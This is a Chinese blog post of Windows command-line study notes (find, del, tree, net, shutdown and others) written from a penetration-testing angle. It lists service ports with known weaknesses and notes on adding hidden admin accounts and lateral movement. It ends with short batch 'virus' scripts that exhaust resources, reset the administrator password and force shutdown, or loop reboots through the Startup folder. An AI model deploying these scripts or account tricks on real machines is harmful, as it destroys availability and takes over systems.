首页 > 系统相关 >Windows基础

Windows基础

时间:2024-12-09 23:42:53浏览次数:9  
标签:重命名 文件 Windows 基础 echo net txt find

Windows基础

系统配置

linux:/etc /proc

win:注册表

windows命令

help

常用命令

cd
cmd 
copy 
dir
echo
more
mkdir
rmdir删除目录
type 显示文本内容

find命令

find [/V] [/C] [/N] [/I] [/OFF[LINE]] "string" [[drive:][path]filename[...]]

/V
显示所有未包含指定字符串的行。
例如:find /V "hello" test.txt,会显示test.txt文件中不包含hello字符串的所有行。
/C
计算包含指定字符串的行数。
例如:find /C "error" log.txt,会返回log.txt文件中包含error字符串的行数。
/N
在每行前面显示行号。
例如:find /N "keyword" document.doc,会在包含keyword字符串的行前面显示该行在文件中的行号。
/I
忽略字符串的大小写。
例如:find /I "Windows" system.ini,会找到system.ini文件中包含Windows(无论大小写)的行。
/OFF[LINE]
不要跳过具有脱机属性集的文件。如果没有指定,find将跳过这些文件。
"string"
要查找的字符串,必须用双引号括起来。
[[drive:][path]filename[...]]
指定要搜索的文件或文件集。可以是一个文件,也可以是多个文件(用空格分隔),还可以使用通配符(如*.txt)来搜索某一类型的文件。

示例

find "apple" C:\test\*.txt
find /C "apple" C:\test\*.txt

del命令 erase命令

del [/P] [/F] [/S] [/Q] [/A[[:]attributes]] names
/P:在删除每个文件之前提示确认。例如,del /P test.txt会在删除test.txt文件前询问是否确认删除。
/F:强制删除只读文件。如果要删除一个被设置为只读属性的文件,可使用del /F read - only.txt。
/S:删除指定目录及其所有子目录中的文件。比如del /S *.tmp会删除当前目录及其子目录下的所有.tmp文件。
/Q:安静模式,删除时不提示确认(与/P相反)。例如del /Q oldfiles会不提示地删除oldfiles目录下的所有文件(如果没有其他保护机制)。
/A[[:]attributes]:根据文件属性选择要删除的文件。例如del /A:R *.txt会删除所有具有只读属性的.txt文件。

erase命令在一些批处理脚本(.bat 文件)中可能会因为历史原因或者脚本编写者的偏好而被使用

ren重命名

基本语法为:ren [drive:][path]filename1 filename2
[drive:][path]filename1:这是要重命名的原始文件或目录的位置和名称,包括驱动器号、路径和文件名。
filename2:这是文件或目录的新名称。
示例:
简单文件重命名
假设在C:\Users\Test目录下有一个文件名为oldfile.txt,要将其重命名为newfile.txt,可以在命令提示符下输入:
ren C:\Users\Test\oldfile.txt newfile.txt
批量重命名文件
可以使用通配符来批量重命名文件。例如,要将C:\Users\Test目录下所有以.tmp结尾的文件重命名为以.bak结尾的文件,可以使用:
ren C:\Users\Test\*.tmp *.bak
重命名目录
重命名目录的操作方式与文件类似。例如,要将C:\Temp\oldfolder目录重命名为newfolder,可以使用:
ren C:\Temp\oldfolder newfolder

for命令

遍历文件并显示文件名
cmd中:
for %i in (*.txt) do echo %i
批处理中:
for %%i in (*.txt) do echo %%i

dir/s flag.txt

  • 整体这条命令的作用是在当前目录及其所有子目录中查找flag.txt文件,并显示包含该文件的目录路径以及文件的相关信息(如文件大小、创建时间等)。

set

列出当前环境变量

常见端口及服务

ftp 21
telnet 23
80 web
443 ssl滴血及web漏洞测试
445 smb
1433 mssql
2082/2083 cpanel主机管理系统登录(国外多)
2222 da虚拟主机管理系统登录(国外多)
3128 squid代理默认端口-漫游内网
3306 mysql
3312/3311 kangel主机管理系统登录
3389 远程桌面
5432 postgreSQL
5900 VNC
6379 redis 未授权
7001 7002 weblogic默认弱口令、反序列化漏洞
7778 kloxo 主机控制面板登录
8000-9090 常见web端口  管理后台
8080 tomcat wdcp主机管理系统 默认弱口令
8080 8089 9090 jboss
8083 vestacp主机管理系统(国外多)
8649 ganglia
8888 宝塔 主机管理默认端口
10000 服务器虚拟主机管理系统
11211 memcache未授权访问
27017 27018 MongoDB未授权访问
28017 MongoDB 统计系统页面

常用cmd命令

echo

echo /?
echo 1
echo 1 > 1.txt
echo 123456>> 1.txt 追加内容

dir

展示当前目录

cd d: c:

cd . 进入当前目录
cd .. 上级目录
cd /文件夹
cd desktop 切到桌面

tree

tree /?
tree /f
tree /a
tree C:/ /f 
tree C:/ /a
tree C:\Users\Administrator /f
tree C:\Users\Administrator /a  常用


md创建目录 rd删除目录

md kkk
rd kkk

ipconfig

ipconfig /all  查看完整网络信息

cls 清屏

copy 复制、拼接文件

copy /?
copy 1.txt ..\1.txt
copy 1.txt desktop\2.txt  复制并重命名
copy 1.txt+2.txt 3.txt  拼接1.txt 2.txt内容到3.txt


move文件移动

move ..\1.txt 2.txt  移动并重命名
相当于剪切

ren重命名

ren 1.txt 11.txt

del删除

del 2.txt 3.txt 这个命令删除的文件不会进入回收站,是永久删除

ping

ping /?
ping -t
ping -6 IP 强制IPv6 ping

type 显示文本文件内容

reg 注册表

reg /?

nslookup探测域名信息

nslookup 域名
nslookup -d 域名   查看历史解析记录

find

find /?
find "666" 1.txt
find /n "666" 1.txt
type 1.txt | find "666"



tasklist

列出当前进程

tasklist | find /i "cal" 查找计算器进程

taskkill

taskkill /pid 31968
taskkill /pid 31968 /f 强制杀死进程 


ver winver 显示版本

winver会弹窗

start

start cmd
start calc
start ping xxx.com -t

systeminfo

查看系统信息

查看补丁信息,后期提权就是针对不同的修补持续进行提权,例如少打了哪些补丁就可以根据这个进行提权。

logoff 注销

利用该命令注销掉其他3389会话,让自己连接

shutdown

shutdown /s 一分钟关机
shutdown /a 取消计划关机
shutdown /r 重启
shutdown /g 一分钟关机
shutdown /r /t 0 0立即执行  /t设置时间

telnet

控制面板 程序 打开关闭windows功能 telnet客户端勾选

arp ip和物理机的映射关系表

arp -a
arp /a  在拿到内网机器后,通过这条命令查看当前内网有哪些主机以助于横向移动,用于发现同一网络有哪些主机

at 定时任务

at "shutdown /r /t 0"
at 1 /delete

net 服务 重要⭐⭐⭐

net stop telnet
net start telnet
net user 查看有哪些用户
net user admin 123 /add 创建一个用户
net user admin 查看该用户权限
net user administrator 查看administrator权限
把admin变为管理员权限
net localgroup administrators admin /add提权   admin添加到本地组的administrators
net user admin 
net user admin /del
net user administrator /active:yes 设置账户激活





病毒编写

资源耗尽病毒

echo start cmd > 1.txt
echo %0 >> 1.txt  无限双击  无限启动
%0表示自身文件名
ren 1.txt 1.bat

win10上不成功。
TODO装个win7试一下

锁机病毒

echo net user administrator 123456 > c:\windows\Temp\1.bat 尝试修改administrator密码,没有该文件会创建文件
echo shutdown /n /t 0 >> c:\windows\Temp\1.bat /n表示强制,/t 0表示立刻

无限重启病毒

echo shutdown /n /t 0 > c:\windows\Temp\1.bat
copy c:\windows\Temp\1.bat "%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start\Menu\Programs\Startup\"
本机开机自启目录是"%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"
c:\windows\Temp\1.bat重启自动清空缓存

标签:重命名,文件,Windows,基础,echo,net,txt,find
From: https://www.cnblogs.com/gudygudy/p/18596280

相关文章

  • Windows安装Mysql数据库|非官方复杂安装,解压即可,操作简单
    我们都知道在官方安装mysql数据库极其复杂,还极大概率遇到各种问题,今天教大家只要解压就可安装完数据库,操作及其简单+绿色。版本包括了mysql8或mysql5,各位各取所需即可。不管你之前是否安装过数据库,只要端口3306不被占用就可以成功安装mysql。下载解压包下载移步https://pan......
  • 【windows内核】探索WIN32 API的奥秘:通过window消息实现进程间通信
    在应用开发中,常需实现应用间的数据交换,常用方法包括共享内存、共享存储、管道、消息队列及socket等。今天,我们来介绍一种Windows下的通信方式——通过window消息实现进程间通信。这种方式在特定场景下非常有效,能够简化进程间的数据交换过程。windows消息机制windows是一个消息......
  • 【Windows内核】探索WIN32 API的奥秘:轻松抓取其他应用程序界面上的内容
    在Windows操作系统中,各式各样的应用程序构成了我们日常工作和生活的数字世界。这些应用程序的界面上展示着丰富的信息,有时我们可能希望将这些信息提取出来,用于进一步的分析、处理或自动化任务。在Windows操作系统中可以通过WIN32API定位到目标应用程序的窗口,获取其句柄,进而读取......
  • Jetpack基础(LifeCycle && ViewModel && LiveData)
    Jetpack什么是JetpackLifeCycle用法ViewModel优势用法向ViewModel传值ViewModel生命周期LiveData用法map和swichMap方法什么是JetpackJetpack是一个由多个库组成的套件,可帮助开发者遵循最佳做法,减少样板代码并编写可在各种Android版本和设备中一致运行的代码......
  • 在Windows或者macOS上使用FFmpeg合并.h264文件(包含FFmpeg 安装)
    1.FFmpeg的安装1.1Windows1.2macOS2.使用FFmpeg合并.h264文件1.FFmpeg的安装FFmpeg是一个强大的多媒体框架,可以用来处理视频和音频文件。这里主要介绍其在Windows和macOS上的安装方法:1.1Windows访问FFmpeg的官方网站或GitHub仓库下载适用于Windows的静态......
  • 全网最全的 Cobalt Strike 使用教程-内网渗透之域控攻击篇!黑客技术零基础入门到精通教
    免责声明本号所发布的文章及工具只限交流学习,本人不承担任何责任!一、前言在本篇文章中强哥将继续为大家介绍一些攻击域控制器时常用的一些方法,为了方便演示,强哥是直接在目标域控制器下进行一系列操作的,在真实环境下,大家需要通过MSF、CS等内网渗透工具获取目标主机权......
  • 记录报错:HADOOP_HOME and hadoop.home.dir are unset. -see https://wiki.apache.org/
    报错内容java.io.FileNotFoundException:java.io.FileNotFoundException:HADOOP_HOMEandhadoop.home.dirareunset.-seehttps://wiki.apache.org/hadoop/WindowsProblems第一次运行hadoop程序时,报了以上错误(java.io.FileNotFoundException:java.io.FileNotFoundEx......
  • windows隐藏账户、影子账户
    隐藏账户(HiddenAccount)和影子账户(ShadowAccount)并不是同一个概念,它们在计算机安全和系统管理中有不同的含义:隐藏账户(HiddenAccount):在操作系统或网络服务中,隐藏账户是指那些不在标准用户列表中显示的账户。这种账户通常被管理员用来进行远程访问或执行特定的管理任务,而不被......
  • java基础Day1 markdown
    Markdown标题##二级标题字体粗体:**Hello,World!**斜体:*Hello,World!*斜体+粗体:***Hello,World!***划线:~~Hello,World!~~引用一二三>引用内容分割线***or---图片![截图]()超链接点击跳转到博客园[点击跳转](链接)列表ABCA减号空......
  • 【1】数据分析基础(一些概念)
    数据分析的五步:(1)提出问题;(2)收集数据;(3)数据处理和清洗;(4)数据分析;(5)可视化,得出结论提出问题一个数据分析的过程,其实是从数据中得到结论的过程。但分析的起点并非数据,而是问题!先确定问题是什么,再投入精力从相关的数据中挖掘答案。一个好的问题,可以帮助理清方向,将精力集中在数据......